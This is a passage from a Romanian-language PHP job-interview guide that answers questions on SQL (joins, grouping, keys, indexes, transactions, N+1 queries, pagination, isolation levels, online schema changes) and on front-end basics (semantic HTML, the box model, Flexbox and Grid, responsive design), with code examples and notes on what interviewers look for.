Ce urmărește intervievatorul: Testează gândirea de securitate la nivel de sistem. Intervievatorul caută compromisurile, de exemplu riscul ca blocarea contului să devină atac.

SQL și baze de date

55 Junior

Care este diferența dintre PDO și mysqli? Pe care îl folosești?

Răspuns scurt: Ambele permit lucrul cu MySQL și prepared statements. PDO oferă un API comun pentru mai multe baze de date (MySQL, PostgreSQL, SQLite) și parametri cu nume, de aceea este alegerea obișnuită în proiecte noi; mysqli este specific MySQL.

mysqli (MySQL improved) funcționează doar cu MySQL și MariaDB și are atât API procedural, cât și orientat pe obiecte. Expune unele funcții specifice MySQL, cum ar fi query-uri asincrone sau multiple.

PDO (PHP Data Objects) este un strat de abstracție: același cod funcționează cu drivere diferite, schimbând doar DSN-ul. Nu traduce SQL-ul între dialecte, dar API-ul rămâne același.

PHP
$pdo = new PDO(
    'mysql:host=127.0.0.1;dbname=magazin;charset=utf8mb4',
    'app',
    getenv('DB_PASS'),
    [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES => false,
    ]
);

$st = $pdo->prepare('SELECT id, nume FROM produse WHERE pret < :max AND activ = :activ');
$st->execute(['max' => 100, 'activ' => 1]);
foreach ($st as $rand) {
    echo $rand['nume'];
}

Setările de mai sus sunt cele recomandate: excepții la erori (altfel PDO poate eșua în tăcere în versiunile vechi; din PHP 8.0 excepțiile sunt implicite), fetch asociativ implicit și prepared statements reale.

Avantaje PDO: parametri cu nume (:max), fetch direct în obiecte (FETCH_CLASS), un singur API dacă folosești SQLite în teste și MySQL în producție. Majoritatea framework-urilor și ORM-urilor (Laravel, Doctrine) sunt construite peste PDO.

Pentru că charset=utf8mb4 în DSN e important: utf8 în MySQL înseamnă de fapt maxim 3 octeți per caracter și nu poate stoca unele caractere Unicode. Nu folosi extensia veche mysql_*, eliminată în PHP 7.0.

Ce urmărește intervievatorul: Verifică dacă știi să te conectezi corect la o bază de date. Configurarea cu ERRMODE_EXCEPTION și utf8mb4 arată experiență practică.

56 Junior

Explică tipurile de JOIN în SQL: INNER JOIN, LEFT JOIN și RIGHT JOIN.

Răspuns scurt: INNER JOIN returnează doar rândurile care au corespondent în ambele tabele. LEFT JOIN returnează toate rândurile din tabelul din stânga, cu NULL unde nu există corespondent în dreapta; RIGHT JOIN face invers.

Fie tabelele clienti(id, nume) și comenzi(id, client_id, total).

SQL
-- doar clienții care au cel puțin o comandă
SELECT c.nume, o.total
FROM clienti c
INNER JOIN comenzi o ON o.client_id = c.id;

-- toți clienții, inclusiv cei fără comenzi (total va fi NULL)
SELECT c.nume, o.total
FROM clienti c
LEFT JOIN comenzi o ON o.client_id = c.id;

-- clienții care nu au nicio comandă
SELECT c.id, c.nume
FROM clienti c
LEFT JOIN comenzi o ON o.client_id = c.id
WHERE o.id IS NULL;

Ultimul query este un tipar foarte des cerut la interviuri: „găsește înregistrările fără corespondent”. Alternativa este WHERE NOT EXISTS (SELECT 1 FROM comenzi o WHERE o.client_id = c.id).

Alte tipuri:

  • RIGHT JOIN: simetric cu LEFT JOIN; în practică se rescrie aproape mereu ca LEFT JOIN inversând tabelele, pentru lizibilitate
  • FULL OUTER JOIN: toate rândurile din ambele părți; MySQL nu îl are, se simulează cu UNION între un LEFT și un RIGHT JOIN
  • CROSS JOIN: produs cartezian, fiecare rând cu fiecare
  • self join: tabelul cu el însuși, de exemplu angajați și managerii lor

Capcană frecventă: o condiție pe tabelul din dreapta pusă în WHERE transformă un LEFT JOIN într-un INNER JOIN, pentru că rândurile cu NULL sunt eliminate. Dacă vrei toți clienții și doar comenzile din 2025, condiția pe dată se pune în ON, nu în WHERE. Atenție și la duplicarea rândurilor: un client cu trei comenzi apare de trei ori, ceea ce strică un SUM pe coloane din tabelul clienților.

Ce urmărește intervievatorul: Este întrebarea SQL numărul unu la interviuri. Se urmărește tiparul „fără corespondent” și capcana LEFT JOIN plus WHERE.

57 Junior

Care este diferența dintre WHERE și HAVING? Cum funcționează GROUP BY?

Răspuns scurt: WHERE filtrează rândurile înainte de grupare, iar HAVING filtrează grupurile după GROUP BY, deci poate folosi funcții de agregare ca COUNT sau SUM. GROUP BY adună rândurile cu aceleași valori într-un singur rând per grup.

Ordinea logică de evaluare a unui SELECT explică diferența: FROM și JOIN, apoi WHERE, apoi GROUP BY, apoi HAVING, apoi SELECT, apoi ORDER BY și LIMIT.

SQL
SELECT client_id,
       COUNT(*)   AS nr_comenzi,
       SUM(total) AS valoare
FROM comenzi
WHERE status = 'platita'          -- filtrează rânduri individuale
  AND creat_la >= '2025-01-01'
GROUP BY client_id                -- un rând per client
HAVING COUNT(*) >= 3              -- păstrează doar grupurile cu cel puțin 3 comenzi
ORDER BY valoare DESC;

În WHERE nu poți scrie COUNT(*) >= 3, pentru că la acel pas grupurile nu există încă. Invers, o condiție simplă pe coloană (status = 'platita') ar trebui pusă în WHERE, nu în HAVING: filtrarea timpurie reduce numărul de rânduri grupate și poate folosi indecși.

Despre GROUP BY:

  • în SELECT poți avea doar coloanele din GROUP BY și funcții de agregare (COUNT, SUM, AVG, MIN, MAX)
  • MySQL 5.7+ are activ implicit modul ONLY_FULL_GROUP_BY, care respinge query-uri ca SELECT client_id, nume, SUM(total) ... GROUP BY client_id dacă nume nu depinde funcțional de cheia de grupare; versiunile vechi returnau o valoare arbitrară
  • COUNT(*) numără rânduri, COUNT(coloana) numără doar valorile ne-NULL, iar COUNT(DISTINCT coloana) valorile unice

Un alias din SELECT (de exemplu valoare) poate fi folosit în ORDER BY; în HAVING MySQL îl acceptă ca extensie, dar standardul SQL nu.

Ce urmărește intervievatorul: Se verifică înțelegerea ordinii de execuție a unui query. Candidații pun des condiții simple în HAVING.

58 Junior

Ce sunt cheia primară și cheia străină? Ce face ON DELETE CASCADE?

Răspuns scurt: Cheia primară identifică unic fiecare rând al unui tabel și nu poate fi NULL. Cheia străină este o coloană care face referire la cheia primară din alt tabel și garantează integritatea relației; ON DELETE CASCADE șterge automat rândurile copil când e șters părintele.

Cheia primară (primary key) poate fi o coloană sau o combinație de coloane, unică și ne-NULL. De obicei este un întreg autoincrementat sau un UUID. În InnoDB, tabelul este stocat fizic ordonat după cheia primară (clustered index), deci alegerea ei influențează performanța.

Cheia străină (foreign key) leagă tabele și împiedică date inconsistente, de exemplu o comandă pentru un client care nu există.

SQL
CREATE TABLE clienti (
    id    INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    email VARCHAR(255) NOT NULL UNIQUE
) ENGINE=InnoDB;

CREATE TABLE comenzi (
    id        INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    client_id INT UNSIGNED NOT NULL,
    total     DECIMAL(10,2) NOT NULL,
    CONSTRAINT fk_comenzi_client
        FOREIGN KEY (client_id) REFERENCES clienti(id)
        ON DELETE RESTRICT
        ON UPDATE CASCADE
) ENGINE=InnoDB;

Acțiunile la ștergerea părintelui:

  • RESTRICT / NO ACTION: ștergerea clientului eșuează dacă are comenzi (comportament implicit)
  • CASCADE: se șterg automat și comenzile
  • SET NULL: client_id devine NULL (coloana trebuie să permită NULL)

Alegerea ține de business. Pentru comenzi și facturi, CASCADE e periculos: ștergi accidental istoricul financiar. Pentru tabele pur dependente, cum ar fi rândurile unui coș sau tabelul de legătură produs_eticheta, CASCADE este natural.

Cheile străine există doar în motoare care le suportă (InnoDB da, vechiul MyISAM nu) și creează automat un index pe coloana copil dacă nu există unul. Unele echipe renunță la ele în sisteme foarte mari, dar atunci integritatea trebuie garantată din aplicație.

Ce urmărește intervievatorul: Verifică noțiunile de bază de modelare. Un candidat bun discută consecințele de business ale lui CASCADE.

59 Junior

Scrie un query care afișează primii 3 clienți după valoarea totală a comenzilor plătite în ultimele 30 de zile.

Răspuns scurt: Faci JOIN între clienți și comenzi, filtrezi în WHERE după status și dată, grupezi după client, calculezi SUM(total), ordonezi descrescător și limitezi la 3.

Presupunem tabelele clienti(id, nume, email) și comenzi(id, client_id, total, status, creat_la).

SQL
SELECT c.id,
       c.nume,
       SUM(o.total) AS valoare_totala,
       COUNT(*)     AS nr_comenzi
FROM clienti c
JOIN comenzi o ON o.client_id = c.id
WHERE o.status = 'platita'
  AND o.creat_la >= NOW() - INTERVAL 30 DAY
GROUP BY c.id, c.nume
ORDER BY valoare_totala DESC
LIMIT 3;

Ce merită spus în timp ce scrii:

  • filtrele pe status și dată stau în WHERE, înainte de agregare, ca să lucrezi pe mai puține rânduri
  • condiția creat_la >= NOW() - INTERVAL 30 DAY este „sargable”, adică poate folosi un index pe creat_la. Varianta DATEDIFF(NOW(), creat_la) <= 30 aplică o funcție pe coloană și împiedică folosirea indexului.
  • un index compus pe comenzi(status, creat_la, client_id, total) poate acoperi complet query-ul

Întrebări de clarificare bune pentru intervievator: ce se întâmplă la egalitate pe locul 3? Cu LIMIT 3 primești un rezultat arbitrar între cei la egalitate. Dacă vrei toți clienții la egalitate, MySQL 8 are funcții fereastră:

SQL
SELECT * FROM (
    SELECT c.id, c.nume, SUM(o.total) AS valoare,
           DENSE_RANK() OVER (ORDER BY SUM(o.total) DESC) AS loc
    FROM clienti c JOIN comenzi o ON o.client_id = c.id
    WHERE o.status = 'platita' AND o.creat_la >= NOW() - INTERVAL 30 DAY
    GROUP BY c.id, c.nume
) t WHERE loc <= 3;

Valorile monetare se stochează ca DECIMAL, nu FLOAT, ca să eviți erorile de rotunjire la sume.

Ce urmărește intervievatorul: Un exercițiu SQL de scris live. Se urmărește structura corectă și, pentru punctaj în plus, gândirea la indecși și la egalități.

60 Junior

Ce este normalizarea bazei de date? Explică formele normale 1NF, 2NF și 3NF.

Răspuns scurt: Normalizarea organizează tabelele ca să elimine redundanța și anomaliile de actualizare. 1NF cere valori atomice, 2NF cere ca fiecare coloană să depindă de toată cheia, iar 3NF ca coloanele să nu depindă de alte coloane non-cheie.

Scopul normalizării este ca fiecare fapt să fie stocat într-un singur loc. Dacă orașul unui client apare în fiecare comandă, schimbarea lui cere modificarea multor rânduri, iar o actualizare parțială lasă date contradictorii.

  • 1NF: fiecare celulă are o singură valoare atomică, fără liste. O coloană telefoane = '0722..., 0744...' încalcă 1NF; soluția e un tabel separat telefoane_client.
  • 2NF: 1NF plus fiecare coloană non-cheie depinde de întreaga cheie primară, nu doar de o parte a ei. Relevant la chei compuse: în linii_comanda(comanda_id, produs_id, cantitate, nume_produs), nume_produs depinde doar de produs_id, deci locul lui e în tabelul produse.
  • 3NF: 2NF plus nicio coloană non-cheie nu depinde de altă coloană non-cheie. În clienti(id, cod_postal, oras), dacă orașul se deduce din codul poștal, avem o dependență tranzitivă.
SQL
CREATE TABLE produse (id INT PRIMARY KEY, nume VARCHAR(200), pret DECIMAL(10,2));
CREATE TABLE linii_comanda (
    comanda_id INT, produs_id INT, cantitate INT,
    pret_unitar DECIMAL(10,2),
    PRIMARY KEY (comanda_id, produs_id)
);

Observă pret_unitar în linii_comanda: pare o duplicare a prețului din produse, dar nu este. Este prețul de la momentul comenzii, un fapt diferit, care nu trebuie să se schimbe când se modifică prețul curent. Asta e o distincție pe care intervievatorii o apreciază.

Denormalizarea controlată este uneori justificată pentru performanță la citire, de exemplu un contor nr_comentarii sau tabele de raportare, dar atunci accepți responsabilitatea de a menține datele sincronizate.

Ce urmărește intervievatorul: Verifică dacă știi să proiectezi o schemă. Un răspuns bun dă exemple și recunoaște când duplicarea este de fapt corectă.

61 Mid

Cum funcționează indecșii în MySQL și cum verifici dacă un query îi folosește?

Răspuns scurt: Un index este o structură separată (de obicei B-tree) care ține valorile unei coloane sortate, ca baza de date să găsească rândurile fără să citească tot tabelul. Verifici cu EXPLAIN, care arată ce index se folosește și câte rânduri sunt estimate.

Fără index, un WHERE email = ? pe un tabel cu milioane de rânduri înseamnă scanare completă (full table scan). Cu un index B-tree, căutarea are complexitate logaritmică. În InnoDB, indecșii secundari stochează și cheia primară, prin care se ajunge apoi la rândul complet.

SQL
CREATE INDEX idx_comenzi_client_data ON comenzi (client_id, creat_la);

EXPLAIN SELECT id, total
FROM comenzi
WHERE client_id = 42 AND creat_la >= '2025-01-01'
ORDER BY creat_la DESC;

În rezultatul EXPLAIN te uiți la type (ALL înseamnă scanare completă; ref, range sau const sunt bune), key (indexul ales), rows (rânduri estimate) și Extra (Using filesort sau Using temporary indică muncă suplimentară). EXPLAIN ANALYZE din MySQL 8.0.18 execută efectiv query-ul și arată timpii reali.

Reguli importante:

  • la un index compus contează ordinea coloanelor (regula prefixului din stânga): indexul pe (client_id, creat_la) ajută la WHERE client_id = ?, dar nu la WHERE creat_la > ? singur
  • coloanele cu egalitate se pun înaintea celor cu interval
  • o funcție aplicată pe coloană (WHERE YEAR(creat_la) = 2025) sau un LIKE '%text' cu wildcard la început împiedică folosirea indexului
  • un index acoperitor (covering) conține toate coloanele de care are nevoie query-ul, deci tabelul nu mai e citit

Indecșii au un cost: ocupă spațiu și încetinesc INSERT, UPDATE și DELETE. Pe coloane cu foarte puține valori distincte, de exemplu un activ boolean, un index singur rareori ajută. Activează slow query log ca să afli ce query-uri merită optimizate.

Ce urmărește intervievatorul: Una dintre cele mai importante întrebări pentru mid. Se urmărește dacă știi să citești EXPLAIN și regula prefixului.

62 Mid

Ce sunt tranzacțiile și proprietățile ACID? Cum folosești o tranzacție cu PDO?

Răspuns scurt: O tranzacție grupează mai multe operații SQL astfel încât să reușească toate sau niciuna. ACID înseamnă Atomicity, Consistency, Isolation, Durability. În PDO folosești beginTransaction(), commit() și rollBack() într-un try/catch.

Exemplul clasic: plasarea unei comenzi scade stocul, creează comanda și liniile ei. Dacă scriptul eșuează la jumătate, nu vrei stoc scăzut fără comandă.

  • Atomicity: totul sau nimic
  • Consistency: baza trece dintr-o stare validă în alta validă, respectând constrângerile
  • Isolation: tranzacțiile concurente nu se văd una pe alta în stări intermediare (în funcție de nivelul de izolare)
  • Durability: după COMMIT, datele supraviețuiesc unei căderi a serverului
PHP
$pdo->beginTransaction();
try {
    $st = $pdo->prepare('UPDATE produse SET stoc = stoc - :c WHERE id = :id AND stoc >= :c');
    $st->execute(['c' => $cantitate, 'id' => $produsId]);
    if ($st->rowCount() === 0) {
        throw new RuntimeException('Stoc insuficient');
    }

    $pdo->prepare('INSERT INTO comenzi (client_id, total) VALUES (?, ?)')
        ->execute([$clientId, $total]);
    $comandaId = (int) $pdo->lastInsertId();

    $pdo->prepare('INSERT INTO linii_comanda (comanda_id, produs_id, cantitate) VALUES (?, ?, ?)')
        ->execute([$comandaId, $produsId, $cantitate]);

    $pdo->commit();
} catch (Throwable $e) {
    $pdo->rollBack();
    throw $e;
}

Observă AND stoc >= :c din UPDATE: verificarea și modificarea se fac într-o singură operație atomică, deci două cereri simultane nu pot vinde ultimul produs de două ori. Varianta „citesc stocul în PHP, apoi fac UPDATE” are o condiție de cursă (race condition).

Alte detalii: tranzacțiile funcționează doar pe motoare tranzacționale (InnoDB). Comenzile DDL ca CREATE TABLE sau ALTER TABLE fac commit implicit în MySQL. Nu ține tranzacțiile deschise în timpul apelurilor externe (o plată, un email), pentru că blochează rânduri. În Laravel echivalentul este DB::transaction(function () { ... }).

Ce urmărește intervievatorul: Verifică dacă știi să păstrezi datele consistente. Un candidat bun observă singur problema de concurență la verificarea stocului.

63 Mid

Ce este problema N+1 query și cum o rezolvi?

Răspuns scurt: Problema N+1 apare când încarci o listă cu un query, apoi faci câte un query suplimentar pentru fiecare element ca să îi aduci datele asociate. O rezolvi încărcând datele asociate dintr-o dată, cu JOIN sau cu un WHERE id IN (...) (eager loading).

Exemplu: afișezi 50 de articole și autorul fiecăruia.

PHP
$articole = $pdo->query('SELECT id, titlu, autor_id FROM articole LIMIT 50')->fetchAll();
foreach ($articole as $a) {
    $st = $pdo->prepare('SELECT nume FROM autori WHERE id = ?');
    $st->execute([$a['autor_id']]);
    echo $a['titlu'] . ' - ' . $st->fetchColumn();
}

Rezultatul este 1 query pentru listă plus 50 pentru autori. Fiecare query are o latență proprie de rețea, deci pagina încetinește proporțional cu numărul de elemente.

Soluții:

PHP
// 1. JOIN
$sql = 'SELECT a.id, a.titlu, u.nume AS autor
        FROM articole a JOIN autori u ON u.id = a.autor_id
        LIMIT 50';

// 2. două query-uri, cu IN (ce fac ORM-urile la eager loading)
$ids = array_unique(array_column($articole, 'autor_id'));
$in  = implode(',', array_fill(0, count($ids), '?'));
$st  = $pdo->prepare("SELECT id, nume FROM autori WHERE id IN ($in)");
$st->execute(array_values($ids));
$autori = $st->fetchAll(PDO::FETCH_KEY_PAIR); // [id => nume]

În Eloquent, problema apare natural când accesezi $articol->autor într-o buclă (lazy loading). Soluția este Articol::with('autor')->get(), care face exact varianta cu IN. Laravel are și Model::preventLazyLoading(), care aruncă excepție în dezvoltare când apare lazy loading, iar Laravel Debugbar sau Telescope arată numărul de query-uri pe pagină.

Varianta cu JOIN e potrivită pentru relații unu-la-unu; pentru unu-la-mulți, un JOIN multiplică rândurile, iar varianta cu IN e adesea mai curată. Orice pagină cu număr de query-uri care crește odată cu datele merită verificată.

Ce urmărește intervievatorul: Una dintre cele mai frecvente probleme de performanță în aplicații PHP cu ORM. Se urmărește dacă o recunoști și știi cum o detectezi.

64 Mid

Cum implementezi paginarea și de ce LIMIT ... OFFSET devine lent pe tabele mari?

Răspuns scurt: Cu OFFSET, baza de date citește și aruncă toate rândurile dinaintea paginii cerute, deci paginile îndepărtate devin tot mai lente. Paginarea keyset (cursor) filtrează după ultima valoare văzută, de exemplu WHERE id < ?, și rămâne rapidă indiferent de pagină.

Paginarea clasică:

SQL
SELECT id, titlu FROM articole
ORDER BY id DESC
LIMIT 20 OFFSET 100000;

Pentru a returna 20 de rânduri, MySQL parcurge 100.020 de rânduri și le aruncă pe primele 100.000. Pe pagina 5 nu se simte, pe pagina 5.000 da. Un alt efect: dacă între timp se adaugă articole, utilizatorul vede duplicate sau sare peste unele când trece la pagina următoare.

Paginarea keyset ține minte ultima valoare de pe pagina curentă:

SQL
SELECT id, titlu, publicat_la FROM articole
WHERE (publicat_la, id) < (:ultima_data, :ultimul_id)
ORDER BY publicat_la DESC, id DESC
LIMIT 20;

Cu un index pe (publicat_la, id), query-ul sare direct la poziția potrivită. Includerea lui id în ordonare garantează o ordine stabilă când mai multe articole au aceeași dată. Pe unele versiuni MySQL, comparația pe tuplu nu folosește optim indexul, așa că se scrie explicit: publicat_la < :d OR (publicat_la = :d AND id < :id).

Compromisuri:

  • keyset nu permite sărirea directă la „pagina 37” și nici afișarea simplă a numărului total de pagini; e potrivit pentru „încarcă mai mult”, scroll infinit și API-uri
  • OFFSET rămâne în regulă pentru tabele mici sau când utilizatorii nu ajung departe
  • COUNT(*) pe un tabel mare cu filtre poate fi el însuși costisitor; uneori afișezi o estimare sau doar „pagina următoare”

În Laravel ai paginate() (cu OFFSET și total), simplePaginate() (fără total) și cursorPaginate() (keyset).

Ce urmărește intervievatorul: Verifică dacă înțelegi performanța la scară. Mulți candidați nu știu de ce paginile mari devin lente.

65 Senior

Ce sunt nivelurile de izolare ale tranzacțiilor și cum apare un deadlock în MySQL?

Răspuns scurt: Nivelurile de izolare (READ UNCOMMITTED, READ COMMITTED, REPEATABLE READ, SERIALIZABLE) stabilesc ce modificări ale altor tranzacții poate vedea o tranzacție. Un deadlock apare când două tranzacții așteaptă fiecare un lock deținut de cealaltă; InnoDB îl detectează și anulează una dintre ele.

Anomaliile pe care le previn nivelurile de izolare:

  • dirty read: citești date necomise de altă tranzacție
  • non-repeatable read: același rând citit de două ori are valori diferite
  • phantom read: același query returnează rânduri noi

READ UNCOMMITTED permite toate trei; READ COMMITTED previne dirty reads; REPEATABLE READ, implicit în InnoDB, oferă un snapshot consistent pentru citirile simple, iar prin next-key locks reduce și fantomele la citirile cu lock; SERIALIZABLE este cel mai strict și cel mai lent. PostgreSQL are ca nivel implicit READ COMMITTED, deci același cod poate avea alt comportament pe alt motor.

Citirile simple nu blochează rânduri. Când citești ca să modifici, ceri lock explicit:

SQL
START TRANSACTION;
SELECT sold FROM conturi WHERE id = 1 FOR UPDATE;
UPDATE conturi SET sold = sold - 100 WHERE id = 1;
UPDATE conturi SET sold = sold + 100 WHERE id = 2;
COMMIT;

Deadlock: tranzacția A blochează contul 1 și vrea contul 2, în timp ce tranzacția B, care face transferul invers, blochează contul 2 și vrea contul 1. InnoDB detectează ciclul, face rollback uneia și returnează eroarea 1213. Detaliile ultimului deadlock se văd cu SHOW ENGINE INNODB STATUS.

Cum reduci deadlock-urile:

  • blochezi resursele mereu în aceeași ordine (de exemplu crescător după ID)
  • tranzacții scurte, fără apeluri externe în interior
  • indecși potriviți, ca UPDATE-urile să nu blocheze intervale mari
  • reîncerci automat tranzacția la eroarea de deadlock; DB::transaction($fn, 3) din Laravel face asta

Într-un sistem concurent, deadlock-urile nu pot fi eliminate complet, deci codul le tratează ca situație normală.

Ce urmărește intervievatorul: La senior se verifică experiența cu concurența reală. Un răspuns bun include strategia de reîncercare și ordonarea lock-urilor.

66 Senior

Cum ai adăuga o coloană sau un index pe un tabel MySQL cu zeci de milioane de rânduri fără să oprești aplicația?

Răspuns scurt: Folosești operații DDL online (ALGORITHM=INSTANT sau INPLACE, LOCK=NONE în MySQL 8) sau unelte ca gh-ost și pt-online-schema-change, și împarți schimbarea în pași compatibili cu versiunea veche a codului (expand, migrate, contract).

Un ALTER TABLE care copiază tabelul poate dura mult și poate bloca scrierile, iar aplicația pare căzută. Strategia are două părți: cum execuți schimbarea și în ce ordine faci deploy-urile.

Execuția:

SQL
-- MySQL 8.0.29+: adăugarea unei coloane poate fi instantanee, doar metadate
ALTER TABLE comenzi ADD COLUMN sursa VARCHAR(20) NULL, ALGORITHM=INSTANT;

-- index creat online, cu scrieri permise în timpul construcției
ALTER TABLE comenzi ADD INDEX idx_sursa (sursa), ALGORITHM=INPLACE, LOCK=NONE;

Specificarea explicită a algoritmului e utilă: dacă operația nu poate rula așa, MySQL refuză în loc să facă o copie blocantă. Chiar și operațiile online au nevoie scurt de un metadata lock, care așteaptă după tranzacțiile lungi deja deschise, deci verifici înainte să nu existe query-uri lungi active. Pentru schimbări care cer copierea tabelului, gh-ost sau pt-online-schema-change creează un tabel nou, copiază datele în bucăți, sincronizează modificările și fac la final o redenumire rapidă.

Ordinea (expand, migrate, contract), de exemplu la redenumirea unei coloane:

  • adaugi coloana nouă, nullable
  • faci deploy cu cod care scrie în ambele coloane
  • copiezi datele vechi în loturi mici (de exemplu câte 1.000 de rânduri, cu pauze), ca să nu supraîncarci replicile
  • faci deploy cu cod care citește din coloana nouă
  • elimini coloana veche într-o migrare ulterioară

Fiecare pas e compatibil cu versiunea anterioară a codului, deci poți face rollback. Testezi întâi pe o copie cu volum real, monitorizezi întârzierea replicilor (replication lag) și ai un plan de anulare.

Ce urmărește intervievatorul: Verifică experiența de operare în producție. Intervievatorul caută atât uneltele, cât și disciplina pașilor compatibili.

HTML, CSS și JavaScript

67 Junior

Ce înseamnă HTML semantic și de ce contează?

Răspuns scurt: HTML semantic înseamnă să folosești elementele potrivite pentru sensul conținutului (header, nav, main, article, button, label) în loc de div-uri generice. Ajută accesibilitatea, SEO-ul și mentenanța codului.

Browserul, cititoarele de ecran și motoarele de căutare înțeleg structura paginii din elementele folosite. Un div cu clasa buton arată ca un buton, dar nu este accesibil de la tastatură și nu e anunțat ca buton de cititorul de ecran.

HTML
<body>
  <header>
    <nav aria-label="Principal">
      <a href="/">Acasă</a>
      <a href="/cursuri">Cursuri</a>
    </nav>
  </header>
  <main>
    <article>
      <h1>Cum funcționează sesiunile în PHP</h1>
      <p>Publicat pe <time datetime="2025-03-10">10 martie 2025</time></p>
      <section>
        <h2>Ce este un ID de sesiune</h2>
        <p>...</p>
      </section>
    </article>
    <form>
      <label for="email">Email</label>
      <input id="email" name="email" type="email" required>
      <button type="submit">Abonează-te</button>
    </form>
  </main>
  <footer>...</footer>
</body>

Beneficii concrete:

  • accesibilitate: button primește focus și răspunde la Enter și Space; label legat de input face ca un click pe text să activeze câmpul și ca cititorul de ecran să anunțe eticheta
  • SEO: un singur h1 și titluri ierarhice ajută motoarele de căutare să înțeleagă subiectul
  • tipurile de input (email, number, date) oferă validare nativă și tastatura potrivită pe mobil
  • codul e mai ușor de citit și de stilizat

Reguli practice: un a pentru navigare, un button pentru acțiuni; imaginile au alt descriptiv (sau alt="" dacă sunt decorative); nu sări niveluri de titlu doar pentru dimensiunea fontului. Atributele ARIA completează semantica, dar nu o înlocuiesc: un element nativ e aproape mereu mai bun decât un div cu role.

Ce urmărește intervievatorul: Verifică dacă ai noțiuni de accesibilitate și SEO. Un dezvoltator PHP care generează HTML trebuie să știe aceste lucruri.

68 Junior

Explică box model-ul în CSS și efectul proprietății box-sizing.

Răspuns scurt: Fiecare element este o cutie formată din conținut, padding, border și margin. Cu box-sizing: content-box (implicit), width se aplică doar conținutului; cu border-box, width include și padding-ul și bordura, ceea ce face layout-ul mai previzibil.

Din interior spre exterior, o cutie CSS are:

  • content: zona conținutului propriu-zis
  • padding: spațiu interior, între conținut și bordură; preia fundalul elementului
  • border: bordura
  • margin: spațiu exterior, transparent, între element și vecini
CSS
.card {
  width: 300px;
  padding: 20px;
  border: 2px solid #ccc;
  margin: 16px;
}

Cu box-sizing: content-box, lățimea vizibilă a cardului este 300 + 2 × 20 + 2 × 2 = 344px. Dacă ai pus două carduri de 50% unul lângă altul cu padding, ele nu mai încap pe un rând. Cu border-box, lățimea totală rămâne 300px, iar conținutul se micșorează.

De aceea majoritatea proiectelor încep cu:

CSS
*, *::before, *::after {
  box-sizing: border-box;
}

Alte detalii care apar la interviu:

  • margin collapsing: marginile verticale ale blocurilor adiacente se suprapun, iar rezultatul este cea mai mare dintre ele, nu suma. Nu se întâmplă în containere flex sau grid.
  • margin: 0 auto centrează orizontal un bloc cu lățime definită
  • elementele inline (de exemplu span) ignoră width, height și marginile verticale; inline-block le respectă
  • outline nu ocupă spațiu în layout, spre deosebire de border, și e folosit pentru indicatorul de focus

În DevTools-ul browserului, panoul Computed arată vizual box model-ul fiecărui element, cel mai rapid mod de a depana un spațiu neașteptat.

Ce urmărește intervievatorul: Este o întrebare CSS de bază. Se verifică dacă știi să calculezi dimensiunea reală și dacă folosești border-box.

69 Junior

Când folosești Flexbox și când CSS Grid?

Răspuns scurt: Flexbox este pentru layout pe o singură axă (un rând sau o coloană de elemente care se distribuie), iar Grid pentru layout bidimensional, pe rânduri și coloane simultan. Se combină des: Grid pentru structura paginii, Flexbox pentru componente.

Flexbox aranjează elementele de-a lungul unei axe principale și le aliniază pe axa perpendiculară. Este ideal pentru bare de navigare, butoane aliniate, carduri care se întind pe rând.

CSS
.navbar {
  display: flex;
  justify-content: space-between; /* axa principală */
  align-items: center;            /* axa secundară */
  gap: 1rem;
}
.navbar .cauta { flex: 1; } /* ocupă spațiul rămas */

Grid definește explicit rânduri și coloane, iar elementele se plasează în celule. Este potrivit pentru structura paginii, galerii și formulare aliniate pe coloane.

CSS
.pagina {
  display: grid;
  grid-template-columns: 250px 1fr;
  grid-template-areas:
    "antet antet"
    "meniu continut"
    "subsol subsol";
  gap: 1.5rem;
}
.produse {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(220px, 1fr));
  gap: 1rem;
}

Ultima regulă creează o grilă responsivă de produse fără media queries: câte coloane de minimum 220px încap.

Criteriul simplu: dacă îți pasă de alinierea pe ambele direcții (elementele de pe rânduri diferite trebuie să stea în aceleași coloane), alegi Grid. Dacă elementele trebuie doar să curgă și să se distribuie pe o linie, cu înfășurare (flex-wrap), alegi Flexbox.

Ambele suportă gap și proprietățile de aliniere. Unitatea fr din Grid împarte spațiul rămas. Ordinea vizuală schimbată cu order sau cu plasarea în grid nu schimbă ordinea în DOM, deci navigarea cu tastatura poate deveni confuză; folosește-le cu grijă.

Ce urmărește intervievatorul: Verifică dacă știi layout-ul modern și alegi unealta potrivită. Răspunsul „Grid e mai nou, deci mai bun” nu convinge.

70 Junior

Cum faci un site responsive? Ce înseamnă abordarea mobile-first?

Răspuns scurt: Un site responsive se adaptează la orice lățime de ecran, prin meta tag-ul viewport, layout-uri fluide (Flexbox, Grid, procente), imagini flexibile și media queries. Mobile-first înseamnă că scrii stilurile de bază pentru ecrane mici și adaugi reguli pentru ecrane mai mari cu min-width.

Elementele de bază:

HTML
<meta name="viewport" content="width=device-width, initial-scale=1">

Fără acest tag, browserele mobile afișează pagina ca pe un desktop micșorat.

Mobile-first în CSS:

CSS
.produse {
  display: grid;
  grid-template-columns: 1fr;
  gap: 1rem;
  padding: 0 16px;
}

@media (min-width: 768px) {
  .produse { grid-template-columns: repeat(2, 1fr); }
}

@media (min-width: 1200px) {
  .produse { grid-template-columns: repeat(4, 1fr); }
}

img {
  max-width: 100%;
  height: auto;
}

De ce mobile-first: stilurile pentru mobil sunt de obicei mai simple (o coloană), deci adaugi complexitate progresiv, în loc să anulezi reguli de desktop. Telefoanele, adesea pe conexiuni mai lente, nu încarcă reguli inutile.

Alte unelte:

  • unități relative: rem pentru text, %, vw, fr; clamp(1rem, 2.5vw, 1.5rem) pentru text fluid
  • imagini responsive cu srcset și sizes, ca un telefon să nu descarce imaginea de 2000px
  • container queries (@container), suportate de browserele moderne, adaptează o componentă după lățimea containerului, nu a ecranului
  • zonele de atingere trebuie să fie suficient de mari, iar textul să nu ceară zoom

Breakpoint-urile se aleg după conținut (unde se strică layout-ul), nu după modele de telefoane. Testezi în modul responsive din DevTools, dar și pe un telefon real, mai ales pentru performanță și tastatură. Pentru un dezvoltator PHP, asta contează la șabloanele generate pe server și la temele WordPress.

Ce urmărește intervievatorul: Verifică noțiunile de frontend de bază pe care le aplici în șabloane. Un plus este menționarea imaginilor responsive.

71 Junior

